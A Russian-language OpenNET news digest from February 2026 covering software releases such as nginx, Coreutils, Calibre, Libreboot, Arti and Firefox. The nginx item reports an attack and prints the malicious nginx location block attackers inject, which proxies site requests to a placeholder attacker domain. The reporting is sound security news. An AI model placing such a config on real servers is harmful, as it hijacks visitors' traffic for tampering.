The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·06.02.2026 Поставка ОС Aluminium намечена на 2028 год. Поддержка ChromeOS сохранится до 2034 года (81 –5)
  В открытый доступ попали новые подробности о продвижении операционной системы Aluminium, развиваемой Google для ноутбуков, мини-ПК и планшетов в соответствии с планом по слиянию платформ Android и Chrome OS. В транскрипции выступления представителя Google на судебном заседании, связанном с антимонопольным разбирательством Министерства юстиции США против Google, упоминается, что поддержка устройств Chromebook с операционной системой ChromeOS продлится до 2034 года, а первые массовые продукты на платформе Aluminium запланированы на 2028 год. При этом тестовые решения на базе Aluminium намерены начать публиковать уже в конце этого года.

В Aluminium преимущественно используется архитектура и компоненты платформы Android, а интерфейс близок к развиваемому в ветке Android 16 десктоп-режиму для больших экранов, позволяющему одновременно работать с окнами нескольких приложений по аналогии с традиционной средой рабочего стола. При этом в платформе также задействованы отдельные системные сервисы, приложения, элементы прошивки, фоновые процессы и библиотеки из ChromeOS, а также перенесённый из Chrome OS интерфейс запуска приложений (Launcher). Из Android задействовано ядро Linux, GKI-модули (Generic Kernel Image), компоненты взаимодействия с оборудованием (HAL), Android Runtime, Android API, часть системных фоновых процессов и библиотек.

  1. OpenNews: Утечка видео с интерфейсом ОС Aluminium, развиваемой Google на смену Chrome OS
  2. OpenNews: Google развивает ОС Aluminium для ноутбуков и планшетов
  3. OpenNews: Google добавит в Chrome OS технологию облачного выполнения классических приложений
  4. OpenNews: Google переводит ChromeOS на компоненты платформы Android
  5. OpenNews: Google подтвердил грядущее слияние Android и Chrome OS
Обсуждение (81 –5) | Тип: К сведению |
·06.02.2026 В марте состоятся детско-юношеские соревнования Linux-skills (32 +6)
  Открыта регистрация на детско-юношеские соревнования по Linux - "Linux-skills", которые пройдут в рамках фестиваля технического творчества "ТехноКакТУС". Соревнования проводятся в двух номинациях: Alt-skills (ALT Linux) и Calculate-skills (Calculate Linux), в трёх возрастных группах: 10-13 лет, 14-17 лет, 18-22 лет.

С 1 марта по 10 марта 2026 года пройдёт онлайн отборочный этап, на котором участники пройдут тестирование. C 25 марта по 1 апреля 2026 года состоится финал - участникам будет предоставлен доступ к виртуальному стенду, на котором нужно будет настроить сеть и перевести рабочие станции с ОС MS Windows на Linux, после чего выполнить настройку Linux и сетей.

В соревнованиях используются дистрибутивы Simply Linux и Calculate Linux, OpenWRT на маршрутизаторах. Финал пройдёт очно на опорных площадках в Москве, Московской области (Щёлково) и Санкт-Петербурге. По запросу участников площадки могут быть организованы и в других городах.

  1. OpenNews: Детско-юношеские соревнования Linux-skills 2025
  2. OpenNews: Доступен дистрибутив OpenWrt 24.10
  3. OpenNews: Выпуск дистрибутива Simply Linux 11.1
  4. OpenNews: Вышел дистрибутив Calculate Linux 23
Обсуждение (32 +6) | Автор: hrundix | Тип: К сведению |
·05.02.2026 Nginx 1.29.4 с устранением уязвимости. Атаки, меняющие настройки nginx для перенаправления трафика (16 +8)
  Сформирован выпуск основной ветки nginx 1.29.5, в рамках которой продолжается развитие новых возможностей, а также выпуск параллельно поддерживаемой стабильной ветки nginx 1.28.2, в которую вносятся только изменения, связанные с устранением серьёзных ошибок и уязвимостей. В обновлениях устранена уязвимость (CVE-2026-1642), позволяющая атакующему, имеющему возможность вклиниться (MITM) в канал связи между nginx и upstream-сервером, подставить отправляемые клиенту ответы. Проблема затрагивает конфигурации, проксирующие запросы (HTTP 1.x, HTTP/2, gRPC или uWSGI) к вышестоящему серверу с использованием TLS-шифрования.

Помимо уязвимости в выпуске 1.29.5 снижен с "crit" до "info" уровень логгирования SSL-ошибок "ech_required", а также устранено несколько проблем: устранено обращение к уже освобождённой памяти (use-after-free) после переключения на следующий бэкенд gRPC или HTTP/2; решена проблема с отправкой некорректного запроса HTTP/2 после переключения на следующий upstream-сервер; исправлено разрастание размера ответа с несколькими диапазонами; налажено выставление переменной HTTP_HOST при проксировании к бэкендам FastCGI, SCGI и uwsgi.


Дополнительно можно отметить выявление автоматизированной атаки, которая после успешного взлома серверов ограничивается изменением конфигурации nginx. Взлом осуществляется через неисправленную уязвимость React2Shell в серверных компонентах React на системах с панелями управления хостингом, такими как Baota (BT). Вносимые в конфигурацию nginx изменения перенаправляли запросы к обслуживаемым сайтам на сервер атакующих, который осуществлял подстановку вредоносных изменений в возвращаемый пользователю ответ.


   location /%PATH%/ {
       set $fullurl "$scheme://$host$request_uri";
       rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break;
       proxy_set_header Host [Attacker_Domain];
       proxy_set_header X-Real-IP $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header X-Forwarded-Proto $scheme;
       proxy_set_header User-Agent $http_user_agent;
       proxy_set_header Referer $http_referer;
       proxy_ssl_server_name on;
       proxy_pass http://[Attacker_Domain];
   }

Таким образом вместо установки руткитов или вредоносного ПО на сервер, организована атака на клиентов, открывающих обслуживаемый на сервере сайт, без непосредственного изменения компонентов сайта на сервере. Атака в основном нацелена на перехват трафика доменов азиатских стран, а также доменов *.edu и *.gov. Через сервер атакующих перенаправляются выборочные запросы, например, содержащие в путях слова "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" и "info". Атака производится автоматизированно с использованием инструментария, выполняющего поиск и анализ конфигурации nginx, выбор и подстановку шаблона настроек, перезапуск nginx и проверку работы изменённого варианта.

  1. OpenNews: Выпуск nginx 1.29.4 с поддержкой ECH и взаимодействия с бэкендами по HTTP/2.0
  2. OpenNews: Выпуск Angie 1.11.0, форка Nginx
  3. OpenNews: Новая версия nginx 1.29.0
  4. OpenNews: Выпуск nginx 1.28.0 и форка FreeNginx 1.28.0
  5. OpenNews: Уязвимость в серверных компонентах React, позволяющая выполнить код на сервере
Обсуждение (16 +8) | Тип: Проблемы безопасности |
·04.02.2026 Выпуск набора утилит GNU Coreutils 9.10 (69 +22)
  Опубликована стабильная версия набора базовых системных утилит GNU Coreutils 9.10, в состав которого входят такие программы, как sort, cat, chmod, chown, chroot, cp, date, dd, echo, hostname, id, ln и ls.

Ключевые новшества:

  • В man-страницах и подсказках, выводимых при указании опции "--help", обеспечено выделение жирным начертанием команд и опций, а также добавлена возможность привязи к командам гиперссылок для перехода на online-руководства на сайте gnu.org на поддерживающих такую возможность эмуляторах терминала.
  • Изменено поведение утилиты timeout, которая теперь перехватывает обработку всех сигналов завершения процесса (SIGPIPE, SIGALRM, SIGHUP и т.п.) и перенаправляет их подконтрольному процессу, не допуская ситуацию, при которой утилита timeout может быть принудительно завершена, а подконтрольный процесс продолжит выполнение.
  • В утилиту paste добавлена поддержка указания многобайтовых символов в опции "--delimiters".
  • В утилите cp устранена регрессия, в некоторых ситуациях приводившая к бесконечному зацикливанию.
  • На 3.2% сокращён размер исполняемого файла при унифицированной сборке, при которой предоставляется один общий для всех команд исполняемый файл "coreutils", а отдельные команды создаются через выставление символических ссылок на него. Добавлена опция "--enable-single-binary=hardlinks" для использования жёстких ссылок на единый исполняемый файл, а не символических.
  • В утилиты 'stat' и 'tail' добавлена поддержка типа файловой системы "guest-memfd", который показывается в выводе "stat -f -c%T" и приводит к использованию полинга в "tail -f".
  • В утилиту 'tail' добавлена опция "--debug".
  • В утилиту 'du' добавлен короткий вариант опции "--apparent-size" - "-A", для совместимости с FreeBSD.
  • В утилите 'du' в разделах с ФС Lustre до 9 раз ускорена обработка директорий, имеющих от 10 тысяч элементов.
  • Прекращена сборка по умолчанию утилит 'kill' и 'uptime', которые теперь собираются только при указании в скрипте configure опции "--enable-install-program=kill,uptime".

  1. OpenNews: Выпуск Rust Coreutils 0.6.0, повысивший совместимость с GNU Coreutils с 87% до 96%
  2. OpenNews: Выпуск утилит GNU grep 3.12, gzip 1.14, diffutils 3.12 и coreutils 9.7
  3. OpenNews: В Ubuntu 25.10 решено заменить GNU Coreutils на uutils, написанные на Rust
Обсуждение (69 +22) | Тип: Программы |
·04.02.2026 Выпуск GCompris 26.0, обучающего набора для детей от 2 до 10 лет (15 +7)
  Представлен выпуск GCompris 26.0, свободного обучающего центра для детей дошкольного и младшего школьного возраста. Пакет предоставляет 197 мини-уроков и модулей, предлагающих от простейшего графического редактора, головоломок и клавиатурного тренажера до уроков математики, географии и обучения чтению. GCompris использует библиотеку Qt и развивается сообществом KDE. Готовые сборки сформированы для Linux, macOS, Windows, Raspberry Pi и Android.

Основные изменения:

  • Реализован инструментарий для учителей GCompris-teachers, при помощи которого можно формировать собственные вопросники и контролировать успеваемость учеников по некоторым видам уроков.
  • Добавлен новый урок "Рисующие колёса" (Drawing wheels), позволяющий рисовать узоры при помощи вложенных друг в друга вращающихся зубчатых колёс.
  • Добавлен новый модуль "Вопросы с несколькими вариантами ответа", позволяющий проводить тестирование по вопросникам, подготовленным в интерфейсе для учителя.
  • Обеспечен полный перевод на украинский, литовский и латышский языки, выполнены частичные переводы для русского (97%), грузинского (88%), азербайджанского (87%), эстонского (86%) и белорусского (83%) языков.

  1. OpenNews: Выпуск GCompris 25.0, обучающего набора для детей от 2 до 10 лет
  2. OpenNews: Проект Debian Junior начал формирование Live-сборок для детей
  3. OpenNews: Выпуск дистрибутива KaOS 2024.05
  4. OpenNews: Выпуск программы для детского рисования Tux Paint 0.9.30
  5. OpenNews: Вышел детский Linux-дистрибутив Qimo 2.0
Обсуждение (15 +7) | Тип: Программы |
·04.02.2026 Google переименовал ZetaSQL в GoogleSQL (64 –4)
  Компания Google объявила о переименовании SQL-анализатора ZetaSQL в GoogleSQL. Проект развивает инструментарий для разбора и анализа грамматики, семантики, типов, модели данных и функций для языка SQL и диалекта GoogleSQL. Диалект GoogleSQL примечателен возможностью объединения запросов при помощи неименованных каналов (pipe) и применяется в различных продуктах и сервисах Google, среди которых BigQuery, Spanner, F1, BigTable, Dremel и Procella. Код проекта написан на языке С++ и распространяется под лицензией Apache 2.0.

В качестве причины переименования называется унификация под единым брендом названия развиваемого в Google диалекта SQL и связанных с ним библиотек для разбора и парсинга. Предполагается, что переименование ZetaSQL в GoogleSQL уменьшит путаницу и упростит поиск материалов, связанных с технологией GoogleSQL. Репозиторий с открытым кодом ZetaSQL продолжит развиваться той же командой, но под именем GoogleSQL.

  1. OpenNews: Опубликован Valkey 8.0, форк СУБД Redis от Amazon, Google, Oracle и Ericsson
  2. OpenNews: Google представил Lovefield, SQL-подобную БД для JavaScript
  3. OpenNews: На конференции Google I/O представлена открытая графо-ориентированная СУБД Cayley
  4. OpenNews: Компания Google открыла исходные тексты БД LevelDB
  5. OpenNews: Открыты исходные тексты кластерной БД, напоминающей Google BigTable
Обсуждение (64 –4) | Тип: К сведению |
·04.02.2026 Релиз системы управления коллекцией электронных книг Calibre 9 (60 +9)
  Доступен выпуск приложения Calibre 9, автоматизирующего поддержание коллекции электронных книг. Calibre предлагает интерфейсы для навигации по библиотеке, чтения книг, преобразованию форматов, синхронизации с портативными устройствами на которых осуществляется чтение, просмотра новостей о появлении новинок на популярных web-ресурсах. В состав также входит реализация сервера для организации сетевого доступа к домашней коллекции. Код проекта написан на языке Python и распространяется под лицензией GPLv3.

В новой версии:

  • Предложен новый интерфейс для навигации по коллекции книг, стилизованный под книжный шкаф, в котором книги расставлены по полкам. Возможна группировка произведений по авторам и сериям. При наведении курсора на корешок книги на полке выводится подсказка с изображением обложки. Толщина корешка вычисляется в зависимости от числа страниц в книге. Оформление книжной полки может быть изменено в настройках.
  • Интегрирована возможность обсуждения книг с AI-ассистентом. Можно задавать вопросы по выбранной книге и запрашивать рекомендации о существовании похожих книг. По умолчанию AI отключён и требует активации в настройках, в которых можно выбрать предпочитаемого облачного AI-провайдера или использовать локально устанавливаемые модели.
  • Добавлена поддержка обращения к AI-ассистенту в процессе чтения книги, например, для пояснения непонятных слов, резюмирования или перевода выделенного содержимого, получения ответов на произвольные вопросы о какой-то части текста.

  1. OpenNews: Релиз системы управления коллекцией электронных книг Calibre 6.0
  2. OpenNews: Выпуск pandoc 3.0, пакета для преобразования текстовой разметки
  3. OpenNews: Доступен InkBox OS 2.0, дистрибутив для электронных книг Kobo и Kindle
  4. OpenNews: Выпуск каталогизатора домашней библиотеки MyLibrary 4.3
  5. OpenNews: Опубликован офисный пакет ONLYOFFICE 9.2
Обсуждение (60 +9) | Тип: Программы |
·03.02.2026 Выпуск загрузочных прошивок Libreboot 26.01 и Canoeboot 26.01 (61 +14)
  Опубликован релиз свободной загрузочной прошивки Libreboot 26.01, который получил статус стабильного выпуска. Проект развивает готовую сборку проекта Coreboot, предоставляющую замену проприетарным прошивкам UEFI и BIOS, отвечающим за инициализации CPU, памяти, периферийных устройств и других компонентов оборудования, с минимизацией бинарных вставок.

Libreboot нацелен на формирование системного окружения, позволяющего обойтись без проприетарного ПО настолько, насколько это возможно, не только на уровне операционной системы, но и прошивки, обеспечивающей загрузку. Libreboot дополняет Coreboot средствами для упрощения применения конечными пользователями, формируя готовый дистрибутив, которым может воспользоваться любой пользователь, не имеющий специальных навыков.

По сравнению с прошлым стабильным релизом добавлена поддержка ПК и ноутбуков HP Pro 3500, Topton XE2 N150, ThinkPad T580 и Dell Latitude E7240. Ведётся работа над поддержкой устройств Google Chromebook через интеграцию coreboot-дистрибутива MrChromebox. CoreBoot синхронизирован с репозиторием по состоянию на середину января. С актуальными кодовыми базами синхронизированы компоненты GRUB 2.14, U-Boot, SeaBIOS и flashprog.

Оборудование, поддерживаемое в Libreboot:

  • Серверные материнские платы:
    • ASUS KFSN4-DRE
    • ASUS KGPE-D16
  • Десктоп-системы:
    • Gigabyte GA-G41M-ES2L;
    • Acer G43T-AM3, Q45T-AM;
    • Intel D510MO / D410PT;
    • Apple iMac 5,2;
    • HP Elite 8200 SFF/MT;
    • HP Elite 8300 USDT;
    • HP Pro 3500;
    • Topton XE2 N150;
    • ASUS KCMA-D8;
    • Dell Precision T1650, T1700 SFF/MT;
    • Intel D945GCLF
    • Dell OptiPlex 3050 Micro, 7010, 7020, 9010 и 9020 серии SFF, XE2 SFF, MT и XE2 MT, 780 USFF/MT ;
  • Ноутбуки:
    • ThinkPad X60 / X60S / X60 Tablet;
    • ThinkPad T60;
    • Lenovo ThinkPad X200 / X200S / X200 / X220 / X230 / X230 eDP / X230 Tablet;
    • Lenovo ThinkPad X301;
    • Lenovo ThinkPad R400;
    • Lenovo ThinkPad T400 / T400S / T420 / T420S / T430 / T440 / T480 / T480S.
    • Lenovo ThinkPad T500 / T530 / T580;
    • Lenovo ThinkPad W530 / W541;
    • Lenovo ThinkPad R500;
    • HP EliteBook 2560p / 2570p / 2170p / 8470p / Folio 9470m;
    • HP EliteBook 820 G2;
    • HP Compaq Elite 8300 CMT;
    • HP EliteBook 8460p;
    • HP EliteBook 8560w;
    • Dell Latitute E6400 / E6430;
    • Dell Latitude E5420 / E5520 / E5530 / E6520 / E6530 / E6420 / E6220 / E6320 / E6330 / E6230 / E4300 / E7240;
    • Apple MacBook1 и MacBook2;
    • ASUS Chromebook Flip C101 (ARM);
    • Samsung Chromebook Plus (ARM).
  • Игровые приставки:
    • Sony PlayStation 1.



Также сформирован выпуск проекта Canoeboot 26.01, который позиционируется как полностью свободная сборка Libreboot, соответствующая требованиям Фонда СПО к свободным дистрибутивам. Выпуск Canoeboot основан на версии Libreboot 26.01, из которой удалены компоненты и изменения, не соответствующие критериям Фонда СПО. В новой версии Canoeboot реализована поддержка серии ПК HP Pro 3500 и ноутбука Dell Latitude E7240.

Необходимость в создании отдельной сборки Libreboot объясняется тем, что сформированные Фондом СПО требования к свободным дистрибутивам не допускают поставку бинарных прошивок (firmware) и любых бинарных компонентов драйверов. При этом начиная с 2022 года проект Libreboot перешёл на более прагматичные правила использования бинарных компонентов, позволившие заметно расширить спектр поддерживаемого аппаратного обеспечения. Новой целью проекта Libreboot стала поддержка всего оборудования, поддерживаемого в coreboot, за исключением бинарных компонентов, влияющих на безопасность и надёжность (например, в Libreboot используется me_cleaner для отключения Intel ME). При таком подходе Libreboot потерял статус полностью свободного дистрибутива с позиции Фонда Свободного ПО.

Устройства, поддерживаемые в Canoeboot:


  1. OpenNews: Выпуск загрузочных прошивок CoreBoot 25.06, Libreboot 25.06 и Canoeboot 25.06
  2. OpenNews: Выпуск загрузочных прошивок Libreboot 25.04 и Canoeboot 25.04
  3. OpenNews: Нападки производителя ноутбуков Malibal на проект coreboot
  4. OpenNews: Выпуск Coreboot 25.12, открытой альтернативы проприетарным прошивкам
  5. OpenNews: Релиз загрузочного менеджера GNU GRUB 2.14
Обсуждение (61 +14) | Тип: Программы |
·03.02.2026 Выпуск Arti 2.0.0, официальной реализации Tor на языке Rust (47 +17)
  Разработчики проекта Tor опубликовали выпуск Arti 2.0.0, официально развиваемого варианта инструментария Tor, написанного на языке Rust. Реализация отмечена как пригодная для использования обычными пользователями и обеспечивающая тот же уровень конфиденциальности, юзабилити и стабильности, что и основная реализация на языке Си. Когда код на Rust достигнет уровня, способного полностью заменить вариант на Си, разработчики намерены придать Arti статус основной реализации Tor и постепенно прекратить сопровождение варианта на Си. Код распространяется под лицензиями Apache 2.0 и MIT.

Arti изначально развивается в форме модульной встраиваемой библиотеки, которую могут использовать различные приложения. При проектировании Arti учтён прошлый опыт разработки Tor, что позволило избежать известных архитектурных проблем, связанных с тем, что реализация на Си вначале была спроектирована как SOCKS-прокси, а уже потом подогнана под другие потребности.

Кроме модернизации архитектуры, причиной переписывания Tor на Rust стало желание повысить защищённость кода за счёт использования языка, обеспечивающего безопасную работу с памятью. По оценке разработчиков Tor, использование языка Rust без блоков "unsafe", позволит не допустить появления как минимум половины от всех типичных уязвимостей в проекте. Кроме того, предполагается, что Rust повысит скорость разработки благодаря выразительности языка и строгих гарантий, позволяющих не тратить время на двойные проверки и написание лишнего кода.

Значительное изменение номера версии произведено в соответствии с применяемой проектом моделью семантического версионирования и связано с внесением изменений, нарушающих обратную совместимость. Прекращена поддержка настроек proxy.socks_port и proxy.dns_port, ранее объявленных устаревшими, на смену которым пришли настройки proxy.socks_listen и proxy.dns_listen. Прекращена поддержка старого синтаксиса определения серверов директорий (Directory Authority). Помечены экспериментальными все программные интерфейсы crate-пакета arti, которые планируют переместить в другие crate-пакеты или удалить.

Из новой функциональности отмечается поддержка нового типа сокетов "inet-auto" для автоматического назначения неиспользуемого TCP-порта для RPC-сервера. Продолжена реализация функциональности для релеев и серверов директорий. Для серверов директорий проведена работа по управлению сертификатами, добавлена возможность загрузки, верификации и хранения сертификатов. Для релеев реализована новая модульная архитектура управления цепочками узлов, поддержка создания каналов связи с другими релеями, поддержка обработки запросов согласования соединений и возможность работы релея в роли сервера при установке TLS-соединения.

  1. OpenNews: Выпуск Arti 1.9.0
  2. OpenNews: Первый стабильный выпуск Arti, официальной реализации Tor на языке Rust
  3. OpenNews: Представлена реализация Tor на языке Rust, которая в будущем заменит вариант на Си
  4. OpenNews: Выпуск новой стабильной ветки Tor 0.4.8
  5. OpenNews: Релиз Tor Browser 15.0
Обсуждение (47 +17) | Тип: Программы |
·03.02.2026 Выпуск Rust Coreutils 0.6.0, повысивший совместимость с GNU Coreutils с 87% до 96% (138 +13)
  Опубликован выпуск проекта uutils coreutils 0.6.0 (Rust Coreutils), развивающего аналог пакета GNU Coreutils, написанный на языке Rust. В состав coreutils входит более ста утилит, включая sort, cat, chmod, chown, chroot, cp, date, dd, echo, hostname, id, ln и ls. Целью проекта является создание кроссплатформенной альтернативной реализации Coreutils, среди прочего способной работать на платформах Windows, Redox и Fuchsia.

Rust Coreutils задействован по умолчанию в выпуске Ubuntu 25.10 и применяется в дистрибутивах AerynOS (Serpent OS) и Apertis (развивается компанией Collabora). В отличие от GNU Coreutils реализация на Rust распространяется под пермиссивной лицензией MIT, вместо копилефт-лицензии GPL. Дополнительно той же командой разработчиков развиваются написанные на Rust аналоги наборов утилит util-linux, diffutils, findutils, procps и acl, а также программ sed и login.

В новой версии Rust Coreutils:

  • Достигнут уровень совместимости с эталонным тестовым набором GNU Coreutils - 96.28% (было 87.75%). Успешно выполнено 622 тестов, что на 56 больше, чем в прошлой версии (566). 16 (было 55) тестов завершилось неудачей, а 7 (было 23) тестов было пропущено. Наиболее значительное повышение совместимости отмечено для утилит sort, ls, date, cksum и tail.
  • Из date, sort, locale.rs и других утилит удалён код, в котором использовалось ключевое слово "unsafe".
  • Обращения к стандартной библиотеке libc заменены на эквивалентные защищённые вызовы, предоставляемые пакетом nix.
  • Улучшена обработка ошибок, исключены аварийные завершения при записи в /dev/full.
  • В утилите date реализована локализация названий месяцев и дней, учитывающая ICU. Обеспечено форматирование часов и календаря с учётом локали.
  • В утилите sort обеспечена сортировка чисел c разделителями тысяч и реализована обработка параметров +POS/-POS.
  • В утилиту join добавлена поддержка свойств локали "collation", позволяющих выполнять сопоставления с учётом смысла символов (например, при сравнении может не приниматься во внимание знак ударения).
  • Проведена оптимизация производительности утилит base32, base64, basenc и df.
  • В утилите uniq снижено потребление памяти при работе без учёта регистра.
  • В утилите shuf оптимизирован числовой вывод и добавлена опция "--random-seed".
  • В tsort исключена загрузка всех входных данных в память.
  • В утилиту tail добавлен флаг "--debug".
  • В утилите chmod решены проблемы с рекурсивным выполнением операций и добавлена опция "--preserve-root".
  • На Unix-подобных системах усилена безопасность при обходе содержимого каталогов.
  • В утилиты ls, id, mkdir, mkfifo и mknod добавлена поддержка механизма мандатного контроля доступа SMACK.
  • В систему непрерывной интеграции добавлена проверка сборки на 64-разрядных системах RISC-V с библиотекой musl.
  • Улучшена работа в Windows c использованием Cygwin.
  • Расширены возможности, устранены проблемы и добавлены недостающие опции для утилит arch, base64, basename, cat, chgrp, chmod, chroot, cksum, comm, cp, csplit, date, dd, df, dir, dirname, du, echo, env, expand, expr, fmt, fold, groups, hashsum, head, hostid, id, install, join, kill, ln, logname, ls, mkdir, mkfifo, mknod, mktemp, more, mv, nice, nl, nohup, nproc, numfmt, pr, printenv, printf, ptx, readlink, rm, rmdir, runcon, seq, shred, shuf, sort, split, stat, stdbuf, stty, sync, tac, tail, tee, test, timeout, touch, truncate, tsort, uname, unexpand, uniq, uptime, users, wc, yes, ucore, uucore, uudoc.

  1. OpenNews: Выпуск uutils 0.5, варианта GNU Coreutils на языке Rust
  2. OpenNews: Из-за ошибки в uutils в Ubuntu 25.10 перестала работать автоматическая проверка наличия обновлений
  3. OpenNews: Уязвимость в GNU sort, приводящая к выходу за границу буфера
  4. OpenNews: В Ubuntu 25.10 решено заменить GNU Coreutils на uutils, написанные на Rust
Обсуждение (138 +13) | Тип: Программы |
·02.02.2026 В Debian GNU/Hurd обеспечена сборка 75% пакетов Debian (126 +43)
  Разработчики проекта GNU/Hurd представили доклад о недавних достижениях и текущем состоянии проекта. Среди недавних достижений GNU/Hurd:
  • В дистрибутиве Debian GNU/Hurd обеспечена возможность сборки 75% пакетов из архива Debian (в 2023 году данный показатель составлял 58%).
  • Стабилизирован порт для архитектуры x86_64, обеспечено формирование пакетов Debian для систем x86_64, началось портирование на системы ARM64.
  • Добавлена начальная поддержка SMP (Symmetric multiprocessing).
  • Улучшена поддержка драйверов в пространстве пользователя через задействование развиваемого проектом NetBSD механизма rump (Runnable Userspace Meta Program).
  • Подготовлены работающие в пространстве пользователя драйверы для дисков SATA/USB и сетевых адаптеров.
  • Реализованы работающие в пространстве пользователя стеки USB и TCP/IP.
  • Обеспечена сборка в Debian GNU/Hurd пакетов с Xfce, GNOME, KDE, llvm.
  • Добавлена поддержка языков go, rust, ocaml, ghc, java.
  • Создан дистрибутив Guix/Hurd с возможностью использования ядра GNU Hurd (x86_64-gnu) вместо ядра Linux.
  • Стартовали проекты по созданию вариантов дистрибутивов Arch и Alpine с ядром GNU Hurd.

GNU Hurd представляет собой ядро, развиваемое в качестве замены ядра Unix и оформленное в виде набора серверов, работающих поверх микроядра GNU Mach и реализующих различные системные сервисы, такие как файловые системы, сетевой стек, система управления доступом к файлам. Микроядро GNU Mach предоставляет IPC-механизм, используемый для организации взаимодействия компонентов GNU Hurd и построения распределённой мультисерверной архитектуры. Дистрибутив Debian GNU/Hurd сочетает программное окружение Debian c ядром GNU/Hurd и остаётся единственной активно развиваемой платформой Debian, созданной на базе ядра, отличного от Linux (ранее развивался порт Debian GNU/KFreeBSD, но он давно находится в заброшенном состоянии).

  1. OpenNews: Релиз Debian GNU/Hurd 2025
  2. OpenNews: В микроядро GNU Mach из проекта GNU Hurd добавлена поддержка Xen DomU
  3. OpenNews: Релиз GNU Hurd 0.9
  4. OpenNews: Выпуск GNU Guix 1.5 с поддержкой ядра GNU Hurd
  5. OpenNews: Портирование компилятора Clang для GNU/Hurd
Обсуждение (126 +43) | Тип: Обобщение |
·01.02.2026 В Firefox появилась настройка для отключения AI и активирован режим разделения экрана (72 +38)
  В кодовую базу, на основе которой формируется выпуск Firefox 148, запланированный на 24 февраля, добавлена ранее обещанная настройка для полного отключения всех возможностей, связанных с AI. На странице about:config появился параметр "browser.preferences.aiControls", после активации которого на странице с настройками появляется секция для управления использованием AI. На странице можно разом отключить все функции AI или выборочно активировать только необходимую функциональность.

Для выборочного отключения доступны такие возможности, завязанные на AI, как перевод на другой язык, распознание текста на изображениях и в отсканированных PDF-документах, рекомендации и метки при группировке вкладок, генерация краткого содержимого страницы при предпросмотре ссылок и интерфейс для обращения к чатботам. Каждая из функций может быть включена, деактивирована или блокирована. При блокировке локально устанавливаемые AI-модели удаляются, а элементы интерфейса скрываются.

Дополнительно отмечается включение по умолчанию в ночных сборках Firefox, на основе которых 24 марта будет опубликован Firefox 149, режима Split View. В данном режиме пользователь может бок о бок в одном окне просмотреть содержимое двух вкладок. В Firefox 147 режим Split View по умолчанию отключён и активируется через параметр "browser.tabs.splitView.enabled" на странице about:config, после чего в контекстном меню, показываемом при клике правой кнопкой мыши на вкладках, появится кнопка "Add Split View".

При нажатии данной кнопки содержимое окна разделяется на две части и в правой части открывается содержимое страницы новой вкладки. Если выбрать опцию для группы из двух вкладок, указанные вкладки сразу будут раскрыты рядом с друг другом. Допускается произвольное изменение размера правой и левой области просмотра через перетаскивание мышью полосы-разделителя. Активная вкладка при одновременном просмотре выделяется красной рамкой.

Из изменений в ночных сборках Firefox также отмечается задействование в отдельном поле для поиска, которое можно добавить на панель, тех же механизмов вывода выпадающей информации, что используются в адресной строке AwesomeBar. Кроме того, началось тестирование функции Tab Notes, позволяющей прикреплять произвольные примечания к вкладкам.

  1. OpenNews: Выпуск Chrome 144. Тестирование JPEG XL, вертикальных вкладок и отключения AI
  2. OpenNews: Назначен новый руководитель Mozilla Corporation, делающий ставку на AI в Firefox
  3. OpenNews: GNOME и Firefox намерены отключить по умолчанию вставку средней кнопкой мыши
  4. OpenNews: Релиз Firefox 147
  5. OpenNews: Инструментарий для удаления избыточной функциональности из Chrome, Edge и Firefox
Обсуждение (72 +38) | Тип: К сведению |
·01.02.2026 Выпуск свободного интерпретатора классических квестов ScummVM 2026.1.0 (54 +15)
  После года разработки опубликован выпуск свободного кроссплатформенного интерпретатора классических квестов ScummVM 2026.1.0, заменяющего исполняемые файлы для игр и позволяющего выполнять многие классические игры на платформах, для которых они изначально не предназначены. Код проекта распространяется под лицензией GPLv3+.

Всего обеспечена возможность запуска более 500 квестов, включая игры компаний LucasArts, Humongous Entertainment, Revolution Software, Cyan и Sierra, такие как Maniac Mansion, Monkey Island, Broken Sword, Myst, Blade Runner, King's Quest 1-7, Space Quest 1-6, Discworld, Simon the Sorcerer, Beneath A Steel Sky, Lure of the Temptress и The Legend of Kyrandia. Поддерживается запуск игр на платформах Linux, Windows, macOS, iOS, Android, PS Vita, Switch, Dreamcast, AmigaOS, Atari/FreeMiNT, RISC OS, Haiku, PSP, PS3, Maemo, GCW Zero и др.

В новой версии:

  • Добавлена поддержка 12 игровых движков и основанных на них 194 игр:
    • Adibou 2: Nature & Sciences.
    • Dark Seed.
    • Dog-n-cat: In the Footsteps of Unprecedented Beasts.
    • Dog-n-cat: Island of Dr Ratiarty.
    • Features of National Fishing.
    • God of Thunder.
    • Heart of China.
    • Hodj 'n' Podj.
    • Little Longnose.
    • Mom Don't Worry.
    • Mort&Phil: A Movie Adventure (Special Edition).
    • Nancy Drew: Ghost Dogs of Moon Lake.
    • Nancy Drew: Secret of the Scarlet Hand.
    • Out of this World (Another World).
    • Penumbra: Overture.
    • Pilot Brothers 3: Back Side of the Earth.
    • Pilot Brothers 3D-2. Kennel Club Secrets.
    • Pilot Brothers 3D. The Case of Garden Pests.
    • Ripley's Believe It or Not!: The Riddle of Master Lu.
    • Tex Murphy: Martian Memorandum
    • The Adventures of Willy Beamish.
    • Trick or Treat.
    • Более 160 игр на движке WAGE.
    • 12 игр на движке SLUDGE, среди которых Out of Order, The Secret of Tremendous Corporation и Robin's Rescue.
  • Добавлена поддержка платформы Android 16. Для Android также реализована возможность сглаживания вывода для 3D-движков и использования штатных сетевых функций вместо libcurl.
  • Реализована возможность сборки с библиотекой SDL3 (по умолчанию продолжает использоваться SDL2).
  • Появилась возможность масштабирования результата работы шейдеров 3D-движков.
  • В движки Access, Buried, Drascula, EFH, Hypno, Lab, Neverhood, NGI, Petka, Pink, Prince, Private, Queen, Sherlock, Supernova, Sword25, Teenagent, Tetraedge Titanic, Toltecs и Voyeur добавлена возможность переопределения клавиш, а также кнопок мыши и джойстика.
  • В движки ADL, AGI, CinE, Cruise, Draci, Drascula, EFH, Gob, Hugo, MADE, MM, Parallaction, Prince и Wintermute добавлена поддержка синтеза речи.
  • В движке Private Eye значительно обновлена звуковая подсистема и добавлена поддержка внешних субтитров.
  • Значительно переработан движок SCUMM, в котором появилась поддержка оригинального внутриигрового графического интерфейса для DOS, Macintosh и Windows.
  • В движке Stark улучшена совместимость с графическими картами.
  • Изменена нумерация версий, вместо формата "X.Y.Z" применена схема "год.меcяц.обновление".

